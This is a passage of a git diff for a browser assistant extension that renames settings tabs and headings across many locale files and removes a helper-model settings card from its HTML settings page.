"st.provider.field.model_custom": "사용자 지정...",
"st.vision.heading": "비전",
- "st.transcription.heading": "전사",
+ "st.transcription.heading": "음성을 텍스트로",
"st.transcription.desc": "탭 녹화기의 전사 기능에서 사용됩니다. 설정하면 오디오가 이 Whisper 호환 엔드포인트로 전송됩니다. 구성된 제공자에서 자동으로 선택하려면 비워 두세요(OpenAI → Groq → LM Studio → llama.cpp). OpenAI 호환 /v1/audio/transcriptions만 지원합니다.",
"st.transcription.save": "저장",
"st.transcription.test": "연결 테스트",
diff --git a/src/chrome/src/ui/locales/ms.js b/src/chrome/src/ui/locales/ms.js
index 6be7da0c5..fce0711ad 100644
--- a/src/chrome/src/ui/locales/ms.js
+++ b/src/chrome/src/ui/locales/ms.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'Penyedia aktif',
'sp.providers.active': 'Aktif',
'sp.providers.more': 'Lagi…',
- "st.system_one.heading": "Model bantuan",
"st.system_one.desc_html": "Pengesahan tambahan bagi pemantauan berjadual dan penyelesaian tugas.",
"st.system_one.enabled.label": "Dayakan Jev",
"st.system_one.api_key.label": "Kunci API TypeSafe",
@@ -561,7 +560,7 @@ export default {
"sp.vision.on": "Mod penglihatan <strong>didayakan</strong> untuk pembekal aktif.",
"sp.vision.off": "Mod penglihatan <strong>dinyahaktifkan</strong> untuk pembekal aktif.",
"sp.vision.error": "Togol penglihatan gagal: {msg}",
- "st.tab.multimodal": "Multimodal",
+ "st.tab.multimodal": "Model Bantuan",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "Disyorkan. Apabila dihidupkan, WebBrain meminta kebenaran kali pertama ia mengklik, menaip, menavigasi, menjalankan JavaScript, memuat naik, memuat turun atau merakam pada sesuatu laman (kemudian mengingati pilihan anda). Matikan untuk penggunaan pantas tanpa gesaan pada laman yang anda percayai sepenuhnya.",
"st.perms.gate.warning": "⚠️ Gesaan kebenaran DIMATIKAN. WebBrain akan mengklik, menaip, menavigasi, menjalankan JavaScript, memuat naik, memuat turun dan merakam pada mana-mana laman TANPA bertanya — termasuk pada halaman yang kandungannya mungkin dikawal oleh penyerang. Kandungan halaman masih dianggap tidak dipercayai secara dalaman, tetapi tiada apa-apa akan menghalang arahan yang disuntik daripada mencetuskan tindakan. Biarkan ini dimatikan hanya jika anda mempercayai sepenuhnya setiap laman tempat anda menggunakan pembantu ini.",
@@ -599,7 +598,7 @@ export default {
"st.providers.ollama_warning.link": "Baca pengumuman integrasi Ollama",
"st.provider.field.model_custom": "Tersuai...",
"st.vision.heading": "Penglihatan",
- "st.transcription.heading": "Transkripsi",
+ "st.transcription.heading": "Pertuturan kepada teks",
"st.transcription.desc": "Digunakan oleh transkripsi Perakam Tab. Jika ditetapkan, audio dihantar ke hujung yang serasi dengan Whisper ini. Biarkan kosong untuk auto-pilih daripada pembekal yang dikonfigurasikan (OpenAI → Groq → LM Studio → llama.cpp). Hanya /v1/audio/transcriptions yang serasi dengan OpenAI.",
"st.transcription.save": "Simpan",
"st.transcription.test": "Uji Sambungan",
diff --git a/src/chrome/src/ui/locales/nl.js b/src/chrome/src/ui/locales/nl.js
index cb76a1cde..e0c11bfa3 100644
--- a/src/chrome/src/ui/locales/nl.js
+++ b/src/chrome/src/ui/locales/nl.js
@@ -556,7 +556,7 @@ export default {
'st.tab.providers': 'Providers',
'st.tab.skills': 'Vaardigheden',
'st.tab.vision': 'Visie',
- 'st.tab.multimodal': 'Multimodaal',
+ 'st.tab.multimodal': "Ondersteunende modellen",
'st.tab.memory': 'Geheugen',
'st.tab.profile': 'Profiel',
'st.tab.account': 'Account',
@@ -795,7 +795,7 @@ export default {
'st.vision.connected': 'Verbonden! Model: {model}',
'st.vision.failed': 'Mislukt: {error}',
'st.vision.fill_required': 'Vul eerst basis-URL en model in.',
- 'st.transcription.heading': 'Transcriptie',
+ 'st.transcription.heading': "Spraak naar tekst",
'st.transcription.desc': 'Gebruikt door Tab Recorder-transcriptie...',
'st.transcription.save': 'Opslaan',
'st.transcription.test': 'Verbinding testen',
@@ -879,7 +879,6 @@ export default {
'st.captcha.balance_fail': 'Mislukt: {error}',
'st.captcha.security_html': '<strong>Let op:</strong> de API-sleutel wordt in platte tekst opgeslagen...',
- "st.system_one.heading": "Hulpmodellen",
"st.system_one.desc_html": "Extra controle van geplande bewakingen en voltooide taken.",
"st.system_one.enabled.label": "Jev inschakelen",
"st.system_one.api_key.label": "TypeSafe-API-sleutel",
diff --git a/src/chrome/src/ui/locales/pl.js b/src/chrome/src/ui/locales/pl.js
index 843a37d9e..4cd6460ec 100644
--- a/src/chrome/src/ui/locales/pl.js
+++ b/src/chrome/src/ui/locales/pl.js
@@ -438,7 +438,7 @@ export default {
'st.tab.display': 'Ogólne',
'st.tab.providers': 'Dostawcy',
'st.tab.vision': 'Wizja',
- 'st.tab.multimodal': 'Multimodalność',
+ 'st.tab.multimodal': "Modele pomocnicze",
'st.tab.profile': 'Profil',
'st.tab.account': 'Konto',
'st.tab.captcha': 'CAPTCHA',
@@ -625,7 +625,7 @@ export default {
'st.vision.connected': 'Połączono! Model: {model}',
'st.vision.failed': 'Niepowodzenie: {error}',
'st.vision.fill_required': 'Najpierw wypełnij bazowy adres URL i model.',
- 'st.transcription.heading': 'Transkrypcja',
+ 'st.transcription.heading': "Mowa na tekst",
'st.transcription.desc': 'Używane przez transkrypcję Rejestratora kart. Jeśli ustawione, dźwięk jest wysyłany do tego punktu końcowego zgodnego z Whisper. Pozostaw puste, aby automatycznie wybrać spośród skonfigurowanych dostawców (OpenAI → Groq → LM Studio → llama.cpp). Tylko zgodne z OpenAI /v1/audio/transcriptions.',
'st.transcription.save': 'Zapisz',
'st.transcription.test': 'Testuj połączenie',
@@ -661,7 +661,6 @@ export default {
'st.captcha.balance_fail': 'Niepowodzenie: {error}',
'st.captcha.security_html': '<strong>Uwaga:</strong> klucz API jest przechowywany <strong>w postaci jawnej</strong> w lokalnej pamięci przeglądarki. CapSolver obciąża Twoje konto za każde rozwiązanie; agent wywoła go tylko, gdy CAPTCHA faktycznie zablokuje krok (maksymalnie raz na napotkanie — nie ponawia po niepowodzeniu). Regulaminy niektórych witryn zabraniają automatycznego rozwiązywania CAPTCHA; kieruj się własnym osądem.',
- "st.system_one.heading": "Modele pomocnicze",
"st.system_one.desc_html": "Dodatkowa weryfikacja zaplanowanego monitorowania i ukończenia zadań.",
"st.system_one.enabled.label": "Włącz Jev",
"st.system_one.api_key.label": "Klucz API TypeSafe",
diff --git a/src/chrome/src/ui/locales/pt.js b/src/chrome/src/ui/locales/pt.js
index 5097c2bf9..2a263cb27 100644
--- a/src/chrome/src/ui/locales/pt.js
+++ b/src/chrome/src/ui/locales/pt.js
@@ -576,7 +576,7 @@ export default {
'st.tab.providers': "Provedores",
'st.tab.skills': "Habilidades",
'st.tab.vision': "Visão",
- 'st.tab.multimodal': "Multimodal",
+ 'st.tab.multimodal': "Modelos auxiliares",
'st.tab.memory': "Memória",
'st.tab.profile': "Perfil",
'st.tab.account': "Conta",
@@ -887,7 +887,7 @@ export default {
'st.vision.failed': "Falha: {error}",
'st.vision.fill_required': "Preencha primeiro o URL base e o modelo.",
- 'st.transcription.heading': "Transcrição",
+ 'st.transcription.heading': "Fala para texto",
'st.transcription.desc': "Usado pela transcrição do Tab Recorder. Se definido, o áudio será enviado para este endpoint compatível com Whisper. Deixe em branco para seleção automática dos provedores configurados (OpenAI → Groq → LM Studio → llama.cpp). Compatível com OpenAI somente /v1/audio/transcrições.",
'st.transcription.save': "Salvar",
'st.transcription.test': "Conexão de teste",
@@ -978,7 +978,6 @@ export default {
'st.captcha.balance_fail': "Falha: {error}",
'st.captcha.security_html': "<strong>Atenção:</strong> a chave API é armazenada <strong>em texto simples</strong> no armazenamento local do navegador. CapSolver cobra sua conta por cada solução; o agente só o chamará quando um CAPTCHA realmente bloquear uma etapa (no máximo uma vez por encontro - ele não tentará novamente em caso de falha). Os termos de serviço de alguns sites proíbem a resolução automatizada de CAPTCHA; use seu julgamento.",
- "st.system_one.heading": "Modelos auxiliares",
"st.system_one.desc_html": "Verificação adicional de monitoramentos e tarefas agendadas.",
"st.system_one.enabled.label": "Ativar Jev",
"st.system_one.api_key.label": "Chave de API TypeSafe",
diff --git a/src/chrome/src/ui/locales/ru.js b/src/chrome/src/ui/locales/ru.js
index 839e99f9d..59b3f3ca5 100644
--- a/src/chrome/src/ui/locales/ru.js
+++ b/src/chrome/src/ui/locales/ru.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'Активные провайдеры',
'sp.providers.active': 'Активен',
'sp.providers.more': 'Ещё…',
- "st.system_one.heading": "Вспомогательные модели",
"st.system_one.desc_html": "Дополнительная проверка запланированных наблюдений и завершения задач.",
"st.system_one.enabled.label": "Включить Jev",
"st.system_one.api_key.label": "Ключ API TypeSafe",
@@ -561,7 +560,7 @@ export default {
"sp.vision.on": "Режим зрения <strong>включён</strong> для активного провайдера.",
"sp.vision.off": "Режим зрения <strong>выключен</strong> для активного провайдера.",
"sp.vision.error": "Не удалось переключить зрение: {msg}",
- "st.tab.multimodal": "Мультимодальность",
+ "st.tab.multimodal": "Вспомогательные модели",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "Рекомендуется. Когда включено, WebBrain спрашивает разрешение при первом нажатии, вводе, переходе, запуске JavaScript, загрузке, скачивании или записи на сайте (а затем запоминает ваш выбор). Выключите для быстрой работы без запросов на сайтах, которым вы полностью доверяете.",
"st.perms.gate.warning": "⚠️ Запросы на разрешения ВЫКЛЮЧЕНЫ. WebBrain будет нажимать, вводить текст, переходить, запускать JavaScript, загружать, скачивать и записывать на любом сайте БЕЗ запроса — в том числе на страницах, содержимое которых может контролироваться злоумышленником. Содержимое страниц по-прежнему считается недоверенным внутри системы, но ничто не помешает внедрённой инструкции запустить действие. Оставляйте это выключенным, только если полностью доверяете каждому сайту, на котором используете ассистента.",
@@ -599,7 +598,7 @@ export default {
"st.providers.ollama_warning.link": "Прочитать объявление об интеграции Ollama",
"st.provider.field.model_custom": "Свой...",
"st.vision.heading": "Зрение",
- "st.transcription.heading": "Расшифровка",
+ "st.transcription.heading": "Речь в текст",
"st.transcription.desc": "Используется при расшифровке в Записи вкладки. Если задано, аудио отправляется на этот Whisper-совместимый эндпоинт. Оставьте пустым для автоматического выбора из настроенных провайдеров (OpenAI → Groq → LM Studio → llama.cpp). Только OpenAI-совместимый /v1/audio/transcriptions.",
"st.transcription.save": "Сохранить",
"st.transcription.test": "Проверить соединение",
diff --git a/src/chrome/src/ui/locales/th.js b/src/chrome/src/ui/locales/th.js
index e1bf428b3..3d6d2a371 100644
--- a/src/chrome/src/ui/locales/th.js
+++ b/src/chrome/src/ui/locales/th.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'ผู้ให้บริการที่ใช้งานอยู่',
'sp.providers.active': 'ใช้งานอยู่',
'sp.providers.more': 'เพิ่มเติม…',
- "st.system_one.heading": "โมเดลเสริม",
"st.system_one.desc_html": "ตรวจสอบเพิ่มเติมสำหรับการเฝ้าดูและการทำงานตามกำหนดเวลา",
"st.system_one.enabled.label": "เปิดใช้ Jev",
"st.system_one.api_key.label": "คีย์ API ของ TypeSafe",
@@ -561,7 +560,7 @@ export default {
"sp.vision.on": "โหมดการมองเห็น <strong>เปิดใช้งานแล้ว</strong> สำหรับผู้ให้บริการที่ใช้งานอยู่",
"sp.vision.off": "โหมดการมองเห็น <strong>ปิดใช้งานแล้ว</strong> สำหรับผู้ให้บริการที่ใช้งานอยู่",
"sp.vision.error": "สลับโหมดการมองเห็นไม่สำเร็จ: {msg}",
- "st.tab.multimodal": "มัลติโมดัล",
+ "st.tab.multimodal": "โมเดลเสริม",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "แนะนำ เมื่อเปิด WebBrain จะขออนุญาตในครั้งแรกที่คลิก พิมพ์ นำทาง รัน JavaScript อัปโหลด ดาวน์โหลด หรือบันทึกบนเว็บไซต์ (จากนั้นจะจดจำตัวเลือกของคุณ) ปิดไว้เพื่อใช้งานได้รวดเร็วโดยไม่ต้องถาม บนเว็บไซต์ที่คุณไว้วางใจเต็มที่",
"st.perms.gate.warning": "⚠️ การถามสิทธิ์ถูกปิดอยู่ WebBrain จะคลิก พิมพ์ นำทาง รัน JavaScript อัปโหลด ดาวน์โหลด และบันทึกบนเว็บไซต์ใด ๆ โดยไม่ถาม — รวมถึงหน้าที่เนื้อหาอาจถูกควบคุมโดยผู้โจมตี เนื้อหาของหน้ายังถูกปฏิบัติเสมือนไม่น่าเชื่อถือภายในระบบ แต่ไม่มีอะไรหยุดคำสั่งที่ถูกแทรกเข้ามาไม่ให้กระตุ้นการกระทำได้ ปิดไว้เฉพาะเมื่อคุณไว้วางใจทุกเว็บไซต์ที่ใช้ผู้ช่วยนี้เต็มที่",
@@ -599,7 +598,7 @@ export default {
"st.providers.ollama_warning.link": "อ่านประกาศการผสานรวม Ollama",
"st.provider.field.model_custom": "กำหนดเอง...",
"st.vision.heading": "การมองเห็น",
- "st.transcription.heading": "การถอดเสียง",
+ "st.transcription.heading": "แปลงเสียงพูดเป็นข้อความ",
"st.transcription.desc": "ใช้โดยการถอดเสียงของ Tab Recorder หากตั้งค่าไว้ เสียงจะถูกส่งไปยังปลายทางที่เข้ากันได้กับ Whisper นี้ เว้นว่างเพื่อเลือกอัตโนมัติจากผู้ให้บริการที่ตั้งค่าไว้ (OpenAI → Groq → LM Studio → llama.cpp) รองรับเฉพาะ /v1/audio/transcriptions ที่เข้ากันได้กับ OpenAI เท่านั้น",
"st.transcription.save": "บันทึก",
"st.transcription.test": "ทดสอบการเชื่อมต่อ",
diff --git a/src/chrome/src/ui/locales/tl.js b/src/chrome/src/ui/locales/tl.js
index 1402c019b..6f9e3ced8 100644
--- a/src/chrome/src/ui/locales/tl.js
+++ b/src/chrome/src/ui/locales/tl.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'Mga aktibong provider',
'sp.providers.active': 'Aktibo',
'sp.providers.more': 'Higit pa…',
- "st.system_one.heading": "Mga pantulong na modelo",
"st.system_one.desc_html": "Dagdag na pagtiyak sa nakaiskedyul na pagsubaybay at pagkumpleto ng gawain.",
"st.system_one.enabled.label": "Paganahin ang Jev",
"st.system_one.api_key.label": "TypeSafe API key",
@@ -561,7 +560,7 @@ export default {
"sp.vision.on": "Vision mode <strong>naka-enable</strong> para sa aktibong provider.",
"sp.vision.off": "Vision mode <strong>naka-disable</strong> para sa aktibong provider.",
"sp.vision.error": "Nabigo ang vision toggle: {msg}",
- "st.tab.multimodal": "Multimodal",
+ "st.tab.multimodal": "Mga Pantulong na Modelo",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "Inirerekomenda. Kapag naka-on, humihingi ng pahintulot ang WebBrain sa unang pagkakataong mag-click, mag-type, mag-navigate, magpatakbo ng JavaScript, mag-upload, mag-download, o mag-record ito sa isang site (at saka tinatandaan ang iyong pinili). I-off para sa mabilis at walang prompt na paggamit sa mga site na lubos mong pinagkakatiwalaan.",
"st.perms.gate.warning": "⚠️ Naka-OFF ang mga prompt ng pahintulot. Mag-cli-click, magta-type, magna-navigate, magpapatakbo ng JavaScript, mag-aupload, mag-dadownload, at magre-record ang WebBrain sa anumang site nang HINDI nagtatanong — kasama na ang mga pahinang ang nilalaman ay maaaring kontrolado ng attacker. Itinuturing pa ring untrusted ang nilalaman ng pahina sa loob, ngunit walang pipigil sa isang injected na tagubilin na mag-trigger ng aksyon. Iwang naka-off lamang ito kung lubos mong pinagkakatiwalaan ang bawat site na ginagamitan mo ng assistant.",
@@ -599,7 +598,7 @@ export default {
"st.providers.ollama_warning.link": "Basahin ang anunsyo ng integrasyon ng Ollama",
"st.provider.field.model_custom": "Custom...",
"st.vision.heading": "Bisyon",
- "st.transcription.heading": "Transcription",
+ "st.transcription.heading": "Pagsasalita tungo sa teksto",
"st.transcription.desc": "Ginagamit ng Tab Recorder transcription. Kapag naitakda, ipinapadala ang audio sa Whisper-compatible na endpoint na ito. Iwang blangko para awtomatikong pumili mula sa mga naka-configure na provider (OpenAI → Groq → LM Studio → llama.cpp). OpenAI-compatible /v1/audio/transcriptions lamang.",
"st.transcription.save": "I-save",
"st.transcription.test": "Subukan ang Koneksyon",
diff --git a/src/chrome/src/ui/locales/tr.js b/src/chrome/src/ui/locales/tr.js
index 297052245..df5ecc570 100644
--- a/src/chrome/src/ui/locales/tr.js
+++ b/src/chrome/src/ui/locales/tr.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'Etkin sağlayıcılar',
'sp.providers.active': 'Etkin',
'sp.providers.more': 'Daha fazla…',
- "st.system_one.heading": "Yardımcı modeller",
"st.system_one.desc_html": "Zamanlanmış izlemeler ve görev tamamlanması için ek doğrulama.",
"st.system_one.enabled.label": "Jev’i etkinleştir",
"st.system_one.api_key.label": "TypeSafe API anahtarı",
@@ -601,7 +600,7 @@ export default {
"sp.vision.on": "Aktif sağlayıcı için görme kipi <strong>etkin</strong>.",
"sp.vision.off": "Aktif sağlayıcı için görme kipi <strong>devre dışı</strong>.",
"sp.vision.error": "Görme kipi değiştirilemedi: {msg}",
- "st.tab.multimodal": "Çok kipli",
+ "st.tab.multimodal": "Yardımcı Modeller",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "Önerilir. Açıkken WebBrain, bir sitede ilk kez tıkladığında, yazdığında, gezindiğinde, JavaScript çalıştırdığında, dosya yüklediğinde, indirdiğinde veya kayıt yaptığında izin ister (sonra seçimini hatırlar). Tamamen güvendiğin sitelerde hızlı, istemsiz kullanım için kapat.",
"st.perms.gate.warning": "⚠️ İzin istemleri KAPALI. WebBrain herhangi bir sitede SORMADAN tıklayacak, yazacak, gezinecek, JavaScript çalıştıracak, dosya yükleyecek, indirecek ve kayıt yapacak — içeriği saldırgan kontrolünde olabilecek sayfalar dahil. Sayfa içeriği yine de dahili olarak güvenilmez kabul edilir, ama enjekte edilmiş bir talimatın bir işlemi tetiklemesini hiçbir şey engellemez. Bunu yalnızca asistanı kullandığın her siteye tamamen güveniyorsan kapalı bırak.",
@@ -639,7 +638,7 @@ export default {
"st.providers.ollama_warning.link": "Ollama entegrasyon duyurusunu okuyun",
"st.provider.field.model_custom": "Özel...",
"st.vision.heading": "Görme",
- "st.transcription.heading": "Yazıya döküm",
+ "st.transcription.heading": "Konuşmayı metne dönüştürme",
"st.transcription.desc": "Sekme Kaydedici yazıya dökümü tarafından kullanılır. Ayarlanırsa ses, bu Whisper uyumlu uç noktaya gönderilir. Yapılandırılmış sağlayıcılardan otomatik seçim için boş bırak (OpenAI → Groq → LM Studio → llama.cpp). Yalnızca OpenAI uyumlu /v1/audio/transcriptions.",
"st.transcription.save": "Kaydet",
"st.transcription.test": "Bağlantıyı Sına",
diff --git a/src/chrome/src/ui/locales/uk.js b/src/chrome/src/ui/locales/uk.js
index 68a1cfd83..c0304feed 100644
--- a/src/chrome/src/ui/locales/uk.js
+++ b/src/chrome/src/ui/locales/uk.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'Активні провайдери',
'sp.providers.active': 'Активний',
'sp.providers.more': 'Більше…',
- "st.system_one.heading": "Допоміжні моделі",
"st.system_one.desc_html": "Додаткова перевірка запланованих спостережень і завершення завдань.",
"st.system_one.enabled.label": "Увімкнути Jev",
"st.system_one.api_key.label": "Ключ API TypeSafe",
@@ -561,7 +560,7 @@ export default {
"sp.vision.on": "Режим зору <strong>увімкнено</strong> для активного провайдера.",
"sp.vision.off": "Режим зору <strong>вимкнено</strong> для активного провайдера.",
"sp.vision.error": "Не вдалося перемкнути режим зору: {msg}",
- "st.tab.multimodal": "Мультимодальність",
+ "st.tab.multimodal": "Допоміжні моделі",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "Рекомендовано. Коли увімкнено, WebBrain запитує дозвіл, коли вперше натискає, друкує, переходить, запускає JavaScript, вивантажує, завантажує або записує на сайті (а потім запам'ятовує ваш вибір). Вимкніть для швидкого використання без запитів на сайтах, яким ви повністю довіряєте.",
"st.perms.gate.warning": "⚠️ Запити дозволів ВИМКНЕНО. WebBrain натискатиме, друкуватиме, переходитиме, запускатиме JavaScript, вивантажуватиме, завантажуватиме й записуватиме на будь-якому сайті БЕЗ запитань — зокрема на сторінках, вміст яких може контролювати зловмисник. Вміст сторінок усе одно вважається ненадійним усередині, але ніщо не завадить впровадженій інструкції запустити дію. Залишайте це вимкненим лише якщо повністю довіряєте кожному сайту, на якому користуєтеся асистентом.",
@@ -599,7 +598,7 @@ export default {
"st.providers.ollama_warning.link": "Прочитати оголошення про інтеграцію Ollama",
"st.provider.field.model_custom": "Власна...",
"st.vision.heading": "Зір",
- "st.transcription.heading": "Транскрипція",
+ "st.transcription.heading": "Мовлення в текст",
"st.transcription.desc": "Використовується транскрипцією Tab Recorder. Якщо задано, аудіо надсилається на цей Whisper-сумісний ендпоінт. Залиште порожнім для автоматичного вибору з налаштованих провайдерів (OpenAI → Groq → LM Studio → llama.cpp). Лише OpenAI-сумісний /v1/audio/transcriptions.",
"st.transcription.save": "Зберегти",
"st.transcription.test": "Перевірити з'єднання",
diff --git a/src/chrome/src/ui/locales/vi.js b/src/chrome/src/ui/locales/vi.js
index 89d4d20c5..616367a71 100644
--- a/src/chrome/src/ui/locales/vi.js
+++ b/src/chrome/src/ui/locales/vi.js
@@ -576,7 +576,7 @@ export default {
'st.tab.providers': "Nhà cung cấp",
'st.tab.skills': "Kỹ năng",
'st.tab.vision': "Tầm nhìn",
- 'st.tab.multimodal': "Đa phương thức",
+ 'st.tab.multimodal': "Mô hình hỗ trợ",
'st.tab.memory': "Bộ nhớ",
'st.tab.profile': "Hồ sơ",
'st.tab.account': "Tài khoản",
@@ -887,7 +887,7 @@ export default {
'st.vision.failed': "Không thành công: {error}",
'st.vision.fill_required': "Trước tiên hãy điền URL cơ sở và Mô hình.",
- 'st.transcription.heading': "Phiên âm",
+ 'st.transcription.heading': "Chuyển giọng nói thành văn bản",
'st.transcription.desc': "Được sử dụng bởi phiên âm Tab Recorder. Nếu được đặt, âm thanh sẽ được gửi đến điểm cuối tương thích với Whisper này. Để trống để tự động chọn từ các nhà cung cấp đã định cấu hình (OpenAI → Groq → LM Studio → llama.cpp). Chỉ các bản ghi /v1/âm thanh/bản ghi tương thích với OpenAI.",
'st.transcription.save': "Lưu",
'st.transcription.test': "Kiểm tra kết nối",
@@ -978,7 +978,6 @@ export default {
'st.captcha.balance_fail': "Không thành công: {error}",
'st.captcha.security_html': "<strong>Lưu ý:</strong> khóa API được lưu trữ <strong>trong bản rõ</strong> trong bộ nhớ cục bộ của trình duyệt. CapSolver tính phí tài khoản của bạn cho mỗi lần giải; tác nhân sẽ chỉ gọi nó khi CAPTCHA thực sự chặn một bước (tối đa một lần cho mỗi lần gặp - nó sẽ không thử lại nếu thất bại). Điều khoản dịch vụ của một số trang web nghiêm cấm việc giải CAPTCHA tự động; sử dụng phán đoán của bạn.",
- "st.system_one.heading": "Mô hình hỗ trợ",
"st.system_one.desc_html": "Xác minh bổ sung cho theo dõi định kỳ và hoàn thành tác vụ.",
"st.system_one.enabled.label": "Bật Jev",
"st.system_one.api_key.label": "Khóa API TypeSafe",
diff --git a/src/chrome/src/ui/locales/zh.js b/src/chrome/src/ui/locales/zh.js
index 9dd86d460..ee50cec3f 100644
--- a/src/chrome/src/ui/locales/zh.js
+++ b/src/chrome/src/ui/locales/zh.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': '已启用的提供商',
'sp.providers.active': '已启用',
'sp.providers.more': '更多…',
- "st.system_one.heading": "辅助模型",
"st.system_one.desc_html": "为定时监测和任务完成提供额外验证。",
"st.system_one.enabled.label": "启用 Jev",
"st.system_one.api_key.label": "TypeSafe API 密钥",
@@ -561,7 +560,7 @@ export default {
"sp.vision.on": "已为当前提供商<strong>启用</strong>视觉模式。",
"sp.vision.off": "已为当前提供商<strong>禁用</strong>视觉模式。",
"sp.vision.error": "视觉模式切换失败:{msg}",
- "st.tab.multimodal": "多模态",
+ "st.tab.multimodal": "辅助模型",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "推荐开启。开启后,WebBrain 首次在某站点点击、输入、导航、运行 JavaScript、上传、下载或录制时会请求权限(随后记住你的选择)。在你完全信任的站点上可关闭,以便快速、免提示地使用。",
"st.perms.gate.warning": "⚠️ 权限提示已关闭。WebBrain 将在任何站点上点击、输入、导航、运行 JavaScript、上传、下载和录制而无需询问 —— 包括内容可能被攻击者控制的页面。页面内容在内部仍被视为不可信,但没有任何机制能阻止被注入的指令触发操作。只有当你完全信任使用本助手的每一个站点时,才将其保持关闭。",
@@ -599,7 +598,7 @@ export default {
"st.providers.ollama_warning.link": "阅读 Ollama 集成公告",
"st.provider.field.model_custom": "自定义...",
"st.vision.heading": "视觉",
- "st.transcription.heading": "转写",
+ "st.transcription.heading": "语音转文字",
"st.transcription.desc": "由标签页录制器的转写功能使用。设置后,音频会发送到这个 Whisper 兼容端点。留空则从已配置的提供商中自动选择(OpenAI → Groq → LM Studio → llama.cpp)。仅限 OpenAI 兼容的 /v1/audio/transcriptions。",
"st.transcription.save": "保存",
"st.transcription.test": "测试连接",
diff --git a/src/chrome/src/ui/settings-tabs.js b/src/chrome/src/ui/settings-tabs.js
index 42fc32de0..be33030a8 100644
--- a/src/chrome/src/ui/settings-tabs.js
+++ b/src/chrome/src/ui/settings-tabs.js
@@ -43,7 +43,8 @@
// Honour #display / #providers / #multimodal / #memory / #skills /
// #permissions in the URL so other parts of the extension can deep-link into
- // a tab later. The "multimodal" tab
+ // a tab later. Assistive Models retains the "multimodal" identifier so saved
+ // selections and deep links keep working. The tab
// was previously named "vision" — old #vision deep-links no longer match
// anything and silently fall back to the default tab, which is fine.
const hash = (location.hash || '').replace('#', '');
diff --git a/src/chrome/src/ui/settings.html b/src/chrome/src/ui/settings.html
index f7e77a48b..3b83405a6 100644
--- a/src/chrome/src/ui/settings.html
+++ b/src/chrome/src/ui/settings.html
@@ -338,7 +338,7 @@
flex-shrink: 0;
display: block;
}
- /* Multimodal section headings always show a mono feature icon so the
+ /* Assistive model section headings always show a mono feature icon so the
tab has visual anchors even when base URL is empty (brand chip only
appears after a known endpoint is sniffed). */
.mm-section-heading {
@@ -1828,74 +1828,6 @@
</section>
<section class="tab-panel active" data-panel="providers" role="tabpanel">
- <h2 data-i18n="st.system_one.heading" style="font-size:16px"></h2>
- <div class="provider-card" id="system-one-card">
- <h3 data-i18n="st.system_one.title"></h3>
- <div style="font-size:12px;color:var(--text2);margin-bottom:14px;line-height:1.55;" data-i18n-html="st.system_one.desc_html"></div>
-
- <div class="setting-row">
- <div class="setting-info">
- <div class="setting-label" data-i18n="st.system_one.enabled.label"></div>
- </div>
- <label class="toggle">
- <input type="checkbox" id="toggle-system-one">
- <span class="toggle-slider"></span>
- </label>
- </div>
-
- <div class="field">
- <label for="system-one-api-key" data-i18n="st.system_one.api_key.label"></label>
- <input type="password" id="system-one-api-key" placeholder="ts_…" autocomplete="off" spellcheck="false">
- </div>
-
- <div class="setting-row">
- <div class="setting-info">
- <div class="setting-label" data-i18n="st.system_one.watch.label"></div>
- </div>
- <label class="toggle">
- <input type="checkbox" id="toggle-system-one-watch">
- <span class="toggle-slider"></span>
- </label>
- </div>
- <div class="setting-row">
- <div class="setting-info">
- <div class="setting-label" data-i18n="st.system_one.completion.label"></div>
- </div>
- <label class="toggle">
- <input type="checkbox" id="toggle-system-one-completion">
- <span class="toggle-slider"></span>
- </label>
- </div>
-
- <div class="setting-row">
- <div class="setting-info"><div class="setting-label" data-i18n="st.system_one.fast_classifications"></div></div>
- <label class="toggle"><input type="checkbox" id="toggle-system-one-classifications"><span class="toggle-slider"></span></label>
- </div>
- <div class="setting-row">
- <div class="setting-info"><div class="setting-label" data-i18n="st.system_one.fast_browser"></div></div>
- <label class="toggle"><input type="checkbox" id="toggle-system-one-browser"><span class="toggle-slider"></span></label>
- </div>
- <details class="advanced-settings">
- <summary data-i18n="st.display.advanced"></summary>
- <div class="field">
- <label for="range-system-one-watch-threshold"><span data-i18n="st.system_one.watch_threshold"></span> <span id="system-one-watch-threshold-value">70%</span></label>
- <input type="range" id="range-system-one-watch-threshold" min="50" max="95" step="5" value="70">
- </div>
- <div class="field">
- <label for="range-system-one-completion-threshold"><span data-i18n="st.system_one.completion_threshold"></span> <span id="system-one-completion-threshold-value">70%</span></label>
- <input type="range" id="range-system-one-completion-threshold" min="50" max="95" step="5" value="70">
- </div>
-
- </details>
- <div class="btn-row">
- <button class="btn-primary" id="btn-save-system-one" data-i18n="st.providers.save"></button>
- <button class="btn-secondary" id="btn-test-system-one" data-i18n="st.providers.test"></button>
- <button class="btn-secondary" id="btn-clear-system-one" data-i18n="st.system_one.clear"></button>
- </div>
- <div class="test-result" id="test-system-one"></div>
-
- <div class="info-box" style="margin-top:16px;" data-i18n-html="st.system_one.security_html"></div>
- </div>
<div id="providers"></div>
<div class="info-box" data-i18n-html="st.providers.info.html"></div>
@@ -1958,43 +1890,6 @@
<div class="test-result" id="test-vision"></div>
</div>
- <h3 class="mm-section-heading">
- <svg class="mm-section-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">
- <path d="M12 1a3 3 0 0 0-3 3v8a3 3 0 0 0 6 0V4a3 3 0 0 0-3-3z"/>
- <path d="M19 10v2a7 7 0 0 1-14 0v-2"/>
- <line x1="12" y1="19" x2="12" y2="23"/>
- <line x1="8" y1="23" x2="16" y2="23"/>
- </svg>
- <span data-i18n="st.transcription.heading"></span>
- </h3>
- <div class="provider-card" id="transcription-card">
